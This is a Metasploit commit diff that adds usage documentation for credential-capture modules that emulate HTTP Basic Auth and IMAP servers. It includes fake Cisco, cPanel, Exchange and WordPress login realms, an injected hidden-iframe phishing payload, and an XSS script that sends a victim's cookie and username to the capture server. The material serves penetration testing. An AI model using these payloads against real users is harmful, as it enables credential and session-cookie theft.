Land #10938, add docs for modules and fix bug.
Add docs for auxiliary module http_basic/imap/mysql, and fix a bug in modules/auxiliary/server/capture/mysql.rbGSoC/Meterpreter_Web_Console
Green-m
commit
7a4770790c
|
|
@ -1,4 +1,4 @@
|
||||||
This module creates a mock FTP server which accepts and credentials before throwing a `500` error.
|
This module creates a mock FTP server which accepts credentials before throwing a `500` error.
|
||||||
|
|
||||||
## Verification Steps
|
## Verification Steps
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,271 @@
|
||||||
|
This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: ```use auxiliary/server/capture/http_basic```
|
||||||
|
3. Do: ```run```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**REALM**
|
||||||
|
|
||||||
|
The Realm for the Basic Authentication, which may be displayed in the input box to the user.
|
||||||
|
Default is `Secure Site`.
|
||||||
|
Some notable Realms to emulate:
|
||||||
|
|
||||||
|
* `level_15 or view_access`
|
||||||
|
* `cPanel`
|
||||||
|
* `HuaweiHomeGateway`
|
||||||
|
* `Broadband Router`
|
||||||
|
|
||||||
|
**RedirectURL**
|
||||||
|
|
||||||
|
After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
|
||||||
|
|
||||||
|
**SSL**
|
||||||
|
|
||||||
|
Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
|
||||||
|
will be automatically generated. Default is `False`.
|
||||||
|
|
||||||
|
**SSLCert**
|
||||||
|
|
||||||
|
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||||
|
generated. Default is ``.
|
||||||
|
|
||||||
|
**URIPATH**
|
||||||
|
|
||||||
|
What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
|
||||||
|
the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Cisco Emulator with wget Client
|
||||||
|
|
||||||
|
Server:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/server/capture/http_basic
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set REALM "level_15 or view_access"
|
||||||
|
REALM => level_15 or view_access
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set uripath '/cisco'
|
||||||
|
uripath => /cisco
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/http_basic) >
|
||||||
|
[*] Using URL: http://0.0.0.0:80/cisco
|
||||||
|
[*] Local IP: http://10.1.1.1:80/cisco
|
||||||
|
[*] Server started.
|
||||||
|
[*] Sending 401 to client 127.0.0.1
|
||||||
|
[+] 127.0.0.1 - Credential collected: "cisco:cisco" => /cisco
|
||||||
|
```
|
||||||
|
|
||||||
|
Client:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~# wget http://cisco:cisco@127.0.0.1:80/cisco
|
||||||
|
--2018-11-05 19:44:29-- http://cisco:*password*@127.0.0.1/cisco
|
||||||
|
Connecting to 127.0.0.1:80... connected.
|
||||||
|
HTTP request sent, awaiting response... 401 Unauthorized
|
||||||
|
Authentication selected: Basic realm="level_15 or view_access"
|
||||||
|
Reusing existing connection to 127.0.0.1:80.
|
||||||
|
HTTP request sent, awaiting response... 404 Not Found
|
||||||
|
2018-11-05 19:44:29 ERROR 404: Not Found.
|
||||||
|
```
|
||||||
|
|
||||||
|
### HTTPS with Self-Signed Certificate and curl Client
|
||||||
|
|
||||||
|
Server:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||||
|
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||||
|
|
||||||
|
Generating a RSA private key
|
||||||
|
............+++++
|
||||||
|
.+++++
|
||||||
|
writing new private key to 'key.pem'
|
||||||
|
-----
|
||||||
|
You are about to be asked to enter information that will be incorporated
|
||||||
|
into your certificate request.
|
||||||
|
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||||
|
There are quite a few fields but you can leave some blank
|
||||||
|
For some fields there will be a default value,
|
||||||
|
If you enter '.', the field will be left blank.
|
||||||
|
-----
|
||||||
|
Country Name (2 letter code) [AU]:
|
||||||
|
State or Province Name (full name) [Some-State]:
|
||||||
|
Locality Name (eg, city) []:
|
||||||
|
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||||
|
Organizational Unit Name (eg, section) []:
|
||||||
|
Common Name (e.g. server FQDN or YOUR name) []:
|
||||||
|
Email Address []:
|
||||||
|
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||||
|
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||||
|
|
||||||
|
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||||
|
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||||
|
|
||||||
|
-----BEGIN PRIVATE KEY-----
|
||||||
|
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCmniuSmx1h57hK
|
||||||
|
XxBCfCOfsfJatMEtsrTHFCC0GDvIIHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0
|
||||||
|
SZlF6BRc0GELAC7qPa9VJ8HPYYVbO/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36
|
||||||
|
ypHiZ3LIbaz8VuAUyIU5Qa6G+TNvwClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HA
|
||||||
|
eN29IJyoiXH+GEjw7wBbm9dkbU1DI71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU
|
||||||
|
5hB6jGpc9N7rMYqV82mLogsXGaRDWh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62
|
||||||
|
ct4DtCrNAgMBAAECggEAJ8ZohnYLHJ0xjGeHPSffZTcYsPiniR45M7ElYXjLhKni
|
||||||
|
GDHPy4Jnu8UShF2AH7Nlz8A5It8LpBRDbQZI1bxiaAnCsNqZWIfjPEPia3xPVolI
|
||||||
|
uBztiENCCoXAKLq142dFyrePdexVxo46Td1f2Blz+E7eVdrzYWLBEvsQC96fndRx
|
||||||
|
8j6KT17tIhGz+9+87dwVUXiiBZTzeWRf94jofek3XWADlu6QjAd3qW944ljYyB7p
|
||||||
|
+cJGwod5xFUxRdAr12RN+VIuzyP6xUXkfBQImdT3E0nR8LWwb4FcjwrCtCNEEYqU
|
||||||
|
/CEBx8rm0qt7mBLiIjTq5+clfKKbd1XOXmGn7+7A7QKBgQDdoJl7NBcpBtLMC1kY
|
||||||
|
KK78kar+nWS5am9H/3o76+sRmQGOCjRg9TyQBmqGkxb7en/m/xZzmS0QxbLCbChj
|
||||||
|
nOgFn9owQKQ4a2FPiNHQ1BQ7F44E+B4j+1auS7VnpbzhPgyOwmZcDoRn5h+FeNwW
|
||||||
|
Xma/o+a78rp53eTzG9Hy8lFMwwKBgQDAdX8h8Us1d34a/GuFljUBe5iJNo1giqgq
|
||||||
|
X8R2BCshvQWoT2wz3YX4FRBKMZKdfwLfbRxK1bzW7BinpgoNR6NV0lor75BgQiCJ
|
||||||
|
nztUMCfDAkxwCgXZjR20OS106G/SRjRgLtYkdDhmfynyy2MSAKhmVaLxBa57VlXD
|
||||||
|
ZE2G4jdxLwKBgQCu1oReGnDu77AaQhWOJoItQ+lmpdoRH/McFGJkpS+zmUYNvOUn
|
||||||
|
XC/j2vvsoFswFqqSG8ild0CDC8OC93pBY0XzMfEZwdULoUKKUQBcwwIWv/VM3ERC
|
||||||
|
1IPESnuYgbpo4t9bO+cuVlGD+ZoCXJ8bkmtyYaWjvc/4VeHJG7hb9WfHqwKBgAe5
|
||||||
|
L17nVgNRRkhC9PWpb3sdwKNRAx9qsRDyQuoRhMGX2lBEz6zNKQEppzuy/ZVAcZcR
|
||||||
|
w97k8O0XEG455ZFe3JknFeNJe9vBC5k6QKFCRXY382VToaR3W0fOO5rDcSlZE+UA
|
||||||
|
PCu+Vj0WwVIzA0jHqfphWWaeub/NWSe8MLhG/76VAoGBALTnftXB/b45xkgNEIZ3
|
||||||
|
7WOsfvGo23tlXSQdCNNOn6YKptqYX88jeihcKEvGoIBH+LfV/GfD2P1d227kHyBZ
|
||||||
|
FoZ+2dUwVXO2UP5j3WlxBleOqk0rTbIri/Pj4oCajAR4pXDIviUD+bUFojyFaysj
|
||||||
|
It3LYabipjgG3NjDxYBMyJnt
|
||||||
|
-----END PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIDazCCAlOgAwIBAgIUXlRMetgIkrPIiamQGIBKbcEuT1IwDQYJKoZIhvcNAQEL
|
||||||
|
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||||
|
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDYwMDQ2NDFaFw0xOTEx
|
||||||
|
MDYwMDQ2NDFaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||||
|
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||||
|
AQUAA4IBDwAwggEKAoIBAQCmniuSmx1h57hKXxBCfCOfsfJatMEtsrTHFCC0GDvI
|
||||||
|
IHGot8oniVKes7yK0w8GSr0LeJgH23QMf/N0SZlF6BRc0GELAC7qPa9VJ8HPYYVb
|
||||||
|
O/VaqXMy83y7YuSh6QlP/DksHt0W0rfvcM36ypHiZ3LIbaz8VuAUyIU5Qa6G+TNv
|
||||||
|
wClhQnaX3TLN0kk31pAwwuSRNvSYvmUih4HAeN29IJyoiXH+GEjw7wBbm9dkbU1D
|
||||||
|
I71zSZyO/Tfi/2SwDwaTKCucW7tUEd9ey6AU5hB6jGpc9N7rMYqV82mLogsXGaRD
|
||||||
|
Wh/tt9hghGWAX3MfD7EebQqYr4vQssoisU62ct4DtCrNAgMBAAGjUzBRMB0GA1Ud
|
||||||
|
DgQWBBR+MfL8LopA4OaIRLGK1gof3u+PIDAfBgNVHSMEGDAWgBR+MfL8LopA4OaI
|
||||||
|
RLGK1gof3u+PIDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBe
|
||||||
|
IGmZr3wlO32b25qj/4qB7ewukwF6uaS4OQh4VLlUk8uYsqoGfvehAaNNJsu1oKO5
|
||||||
|
XpShHeyEkpwzgx0mdCmQSB3JKseFYuZTgP9GP00EXuHYl2V+quPFN17fq0AgYN6K
|
||||||
|
TFDwzYbhWyFGz7k++i23w0/dwvL2dLH+bgdHYU49rhlZIAu7PgbyIuhP+M2ltcjt
|
||||||
|
NDO8po38u2ba52E56abfg0ZlFBqsua2s1TPHIyQ9iovTPMg1E5UTTGebaN6/BaMh
|
||||||
|
Oj6N43ld9EONST6BhP3v1buoWHi1FMouocrUkUDuahiHoLlK4ERSUrb4uNnwko24
|
||||||
|
WdNCCmA8APA1qf2BYVqs
|
||||||
|
-----END CERTIFICATE-----
|
||||||
|
msf5 > use auxiliary/server/capture/http_basic
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set ssl true
|
||||||
|
ssl => true
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set srvport 443
|
||||||
|
srvport => 443
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||||
|
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/http_basic) >
|
||||||
|
[*] Using URL: https://0.0.0.0:443/4w0tML
|
||||||
|
[*] Local IP: https://192.168.2.117:443/4w0tML
|
||||||
|
[*] Server started.
|
||||||
|
[+] 127.0.0.1 - Credential collected: "admin:password123" => /4w0tML
|
||||||
|
```
|
||||||
|
|
||||||
|
Clients:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~# curl -k --user admin:password123 https://127.0.0.1/4w0tML
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||||||
|
<html><head>
|
||||||
|
<title>404 Not Found</title>
|
||||||
|
</head><body>
|
||||||
|
<h1>Not Found</h1>
|
||||||
|
<p>The requested URL was not found on this server.</p>
|
||||||
|
<hr>
|
||||||
|
<address>Apache/2.2.9 (Unix) Server at Port 443</address>
|
||||||
|
</body></html>
|
||||||
|
```
|
||||||
|
|
||||||
|
### HTML Injection Social Engineering
|
||||||
|
|
||||||
|
In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
|
||||||
|
that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
|
||||||
|
set to the website, which will hopefully trick a user into entering their credentials.
|
||||||
|
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||||
|
The HTML was simply edited in the local browser.**
|
||||||
|
|
||||||
|
HTML Payload Injected:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<iframe width="0" height="0" src="http://127.0.0.1/"></iframe>
|
||||||
|
```
|
||||||
|
|
||||||
|
Server:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/server/capture/http_basic
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||||
|
uripath => /
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
|
||||||
|
REALM => Wordpress.com Login
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/http_basic) >
|
||||||
|
[*] Using URL: http://0.0.0.0:80/
|
||||||
|
[*] Local IP: http://192.168.2.117:80/
|
||||||
|
[*] Server started.
|
||||||
|
[*] Sending 401 to client 127.0.0.1
|
||||||
|
[+] 127.0.0.1 - Credential collected: "metasploit_blog:ms08-0sK1NG!" => /
|
||||||
|
```
|
||||||
|
|
||||||
|
Client:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### XSS Cookie Theft
|
||||||
|
|
||||||
|
In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
|
||||||
|
pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
|
||||||
|
we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
|
||||||
|
that will silently attempt a login to our basic authentication website.
|
||||||
|
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
||||||
|
The HTML was simply edited in the local browser.**
|
||||||
|
|
||||||
|
Payload:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
var cookie = document.cookie;
|
||||||
|
var username = $('#username').text();
|
||||||
|
document.write('<iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/"></iframe>');
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
|
Sever:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/server/capture/http_basic
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
||||||
|
uripath => /
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > set REALM "Login"
|
||||||
|
REALM => Login
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/http_basic) >
|
||||||
|
[*] Using URL: http://0.0.0.0:80/
|
||||||
|
[*] Local IP: http://192.168.2.117:80/
|
||||||
|
[*] Server started.
|
||||||
|
[*] Sending 401 to client 127.0.0.1
|
||||||
|
[+] 127.0.0.1 - Credential collected: "h00die:R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy" => /
|
||||||
|
```
|
||||||
|
|
||||||
|
Decoding the cookie:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 auxiliary(server/capture/http_basic) > irb
|
||||||
|
[*] Starting IRB shell...
|
||||||
|
[*] You are in auxiliary/server/capture/http_basic
|
||||||
|
|
||||||
|
>> Base64.decode64('R1VDPUFRRUJBUUZicVNGY2owSWVBQVJuJnM9QVFBQUFFUmFpakN4Jmc9VzZmYkdROyB1Y3M9bG5jdD0xNTM3NzI3MjQ4OyBjbXA9dD0xNTQxNDY4ODQ1Jmo9MDsgZmxhc2hfZW5hYmxlZD0wOyBhcGVhZj10ZC1hcHBsZXQtc3RyZWFtPSU3QiUyMnRtcGwlMjIlM0ElMjJpdGVtcyUyMiUyQyUyMmx2JTIyJTNBMTU0MTQ3MDY0NjI4OCU3RDsgSFA9MTsgQj1jN2tvYTYxZDY5dHBzJmI9MyZzPTVy')
|
||||||
|
=> "GUC=AQEBAAFbqSFcj0IeBARn&s=AQADAERaieCx&g=W2fb9Q; ucs=lnct=1537714242; cmp=t=1247468145&j=0; flash_enabled=0; apeaf=td-applet-stream=%7B%22tmpl%22%3A%22items%22%2C%22lv%22%3A1541470698788%7D; HP=1; B=c7koa55d69tbs&b=3&s=5r"
|
||||||
|
```
|
||||||
|
|
@ -0,0 +1,174 @@
|
||||||
|
This module creates a mock IMAP server which accepts credentials.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. Do: ```use auxiliary/server/capture/imap```
|
||||||
|
3. Do: ```run```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**BANNER**
|
||||||
|
|
||||||
|
The Banner which should be displayed. Default is `IMAP4`.
|
||||||
|
Some notable banners to emulate:
|
||||||
|
|
||||||
|
* `Dovecot ready.`
|
||||||
|
* `IMAP 4 Server (IMail 9.23)`
|
||||||
|
* `mailserver Cyrus IMAP4 v2.2.13-Debian-2.2.13-19 server ready`
|
||||||
|
* `Welcome to Binc IMAP v1.3.4 Copyright (C) 2002-2005 Andreas Aardal Hanssen at 2018-11-08 11:17:35 +1100`
|
||||||
|
* `The Microsoft Exchange IMAP4 service is ready.`
|
||||||
|
* `Microsoft Exchange Server 2003 IMAP4rev1 server versino 6.5.7638.1 (domain.local) ready.`
|
||||||
|
|
||||||
|
**SSL**
|
||||||
|
|
||||||
|
Boolean if SSL should be used, making this Secure IMAP. Secure IMAP is typically run on port 993. If `SSLCert` is not set, a certificate
|
||||||
|
will be automatically generated. Default is `False`.
|
||||||
|
|
||||||
|
**SSLCert**
|
||||||
|
|
||||||
|
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
||||||
|
generated. Default is ``.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### IMAP Emulating Microsoft Exchange with Telnet Client
|
||||||
|
|
||||||
|
Server:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/server/capture/imap
|
||||||
|
msf5 auxiliary(server/capture/imap) > set banner "The Microsoft Exchange IMAP4 service is ready."
|
||||||
|
banner => The Microsoft Exchange IMAP4 service is ready.
|
||||||
|
msf5 auxiliary(server/capture/imap) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/imap) >
|
||||||
|
[*] Started service listener on 0.0.0.0:143
|
||||||
|
[*] Server started.
|
||||||
|
[*] IMAP LOGIN 127.0.0.1:42972 metasploit@documentation.com / rapid7#1
|
||||||
|
```
|
||||||
|
|
||||||
|
Client:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~# telnet 127.0.0.1 143
|
||||||
|
Trying 127.0.0.1...
|
||||||
|
Connected to 127.0.0.1.
|
||||||
|
Escape character is '^]'.
|
||||||
|
* OK The Microsoft Exchange IMAP4 service is ready.
|
||||||
|
01 LOGIN metasploit@documentation.com rapid7#1
|
||||||
|
quit
|
||||||
|
Connection closed by foreign host.
|
||||||
|
```
|
||||||
|
|
||||||
|
### Secure IMAP with Self-Signed Certificate and Alpine client
|
||||||
|
|
||||||
|
Server:
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||||
|
[*] exec: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
|
||||||
|
|
||||||
|
Generating a RSA private key
|
||||||
|
.................................................................................................+++++
|
||||||
|
...................+++++
|
||||||
|
writing new private key to 'key.pem'
|
||||||
|
-----
|
||||||
|
You are about to be asked to enter information that will be incorporated
|
||||||
|
into your certificate request.
|
||||||
|
What you are about to enter is what is called a Distinguished Name or a DN.
|
||||||
|
There are quite a few fields but you can leave some blank
|
||||||
|
For some fields there will be a default value,
|
||||||
|
If you enter '.', the field will be left blank.
|
||||||
|
-----
|
||||||
|
Country Name (2 letter code) [AU]:
|
||||||
|
State or Province Name (full name) [Some-State]:
|
||||||
|
Locality Name (eg, city) []:
|
||||||
|
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
|
||||||
|
Organizational Unit Name (eg, section) []:
|
||||||
|
Common Name (e.g. server FQDN or YOUR name) []:
|
||||||
|
Email Address []:
|
||||||
|
msf5 > cat key.pem certificate.pem > selfsigned.pem
|
||||||
|
[*] exec: cat key.pem certificate.pem > selfsigned.pem
|
||||||
|
|
||||||
|
msf5 > cat /root/metasploit-framework/selfsigned.pem
|
||||||
|
[*] exec: cat /root/metasploit-framework/selfsigned.pem
|
||||||
|
|
||||||
|
-----BEGIN PRIVATE KEY-----
|
||||||
|
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDAXME8r2vEUH7B
|
||||||
|
Kelkt9iC4tTozOq0wJAjsACLCDcNoD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2ud
|
||||||
|
USBpOo8h9FEGtRrAAeSl7Z3XaBnuB7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddia
|
||||||
|
PEkE5G3jaCwOIqHk+c8Qk5b43HQbkj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5H
|
||||||
|
QhX7MYVNge8lQL/xJnBrjMDqIQqc41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+Qe
|
||||||
|
DVKtz8ZChLSqSwmz/5yFttRyZlDuXA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GY
|
||||||
|
pdMpLh7/AgMBAAECggEBALCtQKpdMCzqBdGijgP8u3ZToluDwlprtregco8/51iz
|
||||||
|
gf0VMXqsg8k96dc3laZyEKNackSlqfxf6npeRdeAenAkNrtjYYNS+c/Qs7Vhntc5
|
||||||
|
6w6euJHG6g9+9E2LvIMarolx7LvAMbFXwq6+ig5dQ/Sm/DerZWiqbJ18ASDnUhjz
|
||||||
|
G1Y8/Idy4WutPZD/0JEQ+5VnHb+Mt3a7yYKhDsmUEzVh5xoWJab9dwfwCnoOb32T
|
||||||
|
oLOLLsqUbAK8ZiQ4MwkbGJ5kw8H24wVmI+7BbuRacW2tIIt6Z+vEoLdof0TsuJWo
|
||||||
|
87ZbCYYeTysIgBIdLNRiGGxz43SOqBBGh8sreyyACdECgYEA6Ubs1Klw3TViABke
|
||||||
|
1JqkWelZi6mtsyUHJt/eChjMzgg5vGVuYB/sCc+BObjETbfnvuV0Ub4cxbUCF3wL
|
||||||
|
qvrJNTd+yU7JJ7IP63B2lS3aNlAsLRb59SkjDYyym1OeUAHKkGp8oICSq96X3Xtu
|
||||||
|
KUZnDdh2UuoMzmEoAHoDoc+SC/cCgYEA0xmQ+qDJ4l3JRH/IPMPe9XD90WFJFhvF
|
||||||
|
GzGSM8qqpg6N2xhlzQiM6+I4EEh9iNnCOYmvw9leGNRpIjFjAhv5ntlG3LudAEpd
|
||||||
|
Ml/hhrfRB7KOopiqzK7oVCUv5f5rmvYdL4c2FC+VGxnhWUP6MARUHag/1DgszMs7
|
||||||
|
wSlwcbKi8zkCgYBMvRc1khPdwSze6WSZ/dEo/rmFVykb8Idcw3Iwkh31fQE5N4jK
|
||||||
|
uFWWmJtjGKQDCQeEZckRBuBCLZxli1nvQhakmf/sSy2jEFFqWxG3W2EYUuFlZ9SM
|
||||||
|
UJ8GWw16SVSf7ybqwQ0EY6dcQJpmsq73hwBprpamCfZygcV9+qVtOnJJ2wKBgBKY
|
||||||
|
ZPH+6em70zfqfawEoQZD3sfr5vFAnvtHQZa4WpHoJEzReF44S5mXwtKEYDKG5BoH
|
||||||
|
a+k3o5dSVrSBXzRXXITGpPxatnjJFC6UzZv9YzdnXjMqeZkwKx0GbZK396id13JR
|
||||||
|
Wc0rZ9oMTJJ9b3N9Xh+Cq6S5EhE0Md5RFSuezcXZAoGBAJOMfjbwobOCYm6K8PyV
|
||||||
|
p89gbnDOj7FHCg2JPa9/dii6pBRHXeUfORp00GfN0oAjjJo14SmOw58zh1mF1VcA
|
||||||
|
BQhTK9TO4GXIEZDiYt9EmiH1VO58I8vUecBcbelirumGOP+dBiBy/C8YzFJRhAis
|
||||||
|
eAGSi8F+qcJaS3VDRGEC9zcK
|
||||||
|
-----END PRIVATE KEY-----
|
||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIDazCCAlOgAwIBAgIUMlkpAG2tXodgLSrIf/xOuA9z8PwwDQYJKoZIhvcNAQEL
|
||||||
|
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
|
||||||
|
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0xODExMDkwMTI3MTRaFw0xOTEx
|
||||||
|
MDkwMTI3MTRaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
|
||||||
|
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB
|
||||||
|
AQUAA4IBDwAwggEKAoIBAQDAXME8r2vEUH7BKelkt9iC4tTozOq0wJAjsACLCDcN
|
||||||
|
oD4hUH16wy4Uf4SD3ZsEaL0YA0GU2ZgOo2udUSBpOo8h9FEGtRrAAeSl7Z3XaBnu
|
||||||
|
B7UmVMrnUVZxlaYi84JcopcTOs6KZ5VXddiaPEkE5G3jaCwOIqHk+c8Qk5b43HQb
|
||||||
|
kj2jr4051gHeWP0UgBEy1TVPKtoywtyK1b5HQhX7MYVNge8lQL/xJnBrjMDqIQqc
|
||||||
|
41lCI73EPCuGZ7zB06xBsgyW/DTgQkprX+QeDVKtz8ZChLSqSwmz/5yFttRyZlDu
|
||||||
|
XA7Kozhdj8obRAjzK/gKj89WsX/s2KUbq2GYpdMpLh7/AgMBAAGjUzBRMB0GA1Ud
|
||||||
|
DgQWBBRezbFZBumaJ/MViZqqbllYrPomMzAfBgNVHSMEGDAWgBRezbFZBumaJ/MV
|
||||||
|
iZqqbllYrPomMzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAd
|
||||||
|
Smkooa2nhdDdu3/uHX8vhDC0ns5qotgd0YKGkj/QyzNP+ruP1cyq/q67zand/Eq8
|
||||||
|
gF+lHk+pX8GM0WvI7ypgrK956YCdmh3DULBFDu5RxVABFWrGedfNy6TKLTps0PXR
|
||||||
|
9mdB/HK0Msr6Mh/o5PkUhb1fx0T3NUwF1EFte7Nsq10Mq+hYVnEqDeEGMlb73frJ
|
||||||
|
729tCjNpFoLGdlgEcAEFelAujV0w4oj35CE2Fh3b+4wupDiulfgg9E7FtvS9xK0P
|
||||||
|
l/m7Kka0n7lXnKo+IFSJ0dTooBvwaV7+4tEGuHxWJsNO+2aex9qFCuDUdBFxyWyK
|
||||||
|
uBVlsY6F7EjTfWpxwyVP
|
||||||
|
-----END CERTIFICATE-----
|
||||||
|
msf5 > use auxiliary/server/capture/imap
|
||||||
|
msf5 auxiliary(server/capture/imap) > set ssl true
|
||||||
|
ssl => true
|
||||||
|
msf5 auxiliary(server/capture/imap) > set sslcert /root/metasploit-framework/selfsigned.pem
|
||||||
|
sslcert => /root/metasploit-framework/selfsigned.pem
|
||||||
|
msf5 auxiliary(server/capture/imap) > set srvport 993
|
||||||
|
srvport => 993
|
||||||
|
msf5 auxiliary(server/capture/imap) > run
|
||||||
|
[*] Auxiliary module running as background job 0.
|
||||||
|
msf5 auxiliary(server/capture/imap) >
|
||||||
|
[*] Started service listener on 0.0.0.0:993
|
||||||
|
[*] Server started.
|
||||||
|
[+] IMAP LOGIN 127.0.0.1:59024 "johndoe" / "p455w0rd"
|
||||||
|
```
|
||||||
|
|
||||||
|
Clients:
|
||||||
|
|
||||||
|
```
|
||||||
|
root@kali:~# cat ~/.muttrc
|
||||||
|
set spoolfile="imaps://johndoe:p455w0rd@127.0.0.1/INBOX"
|
||||||
|
set folder="imaps://127.0.0.1/INBOX"
|
||||||
|
set record="=Sent"
|
||||||
|
set postponed="=Drafts"
|
||||||
|
|
||||||
|
root@kali:~# mutt
|
||||||
|
```
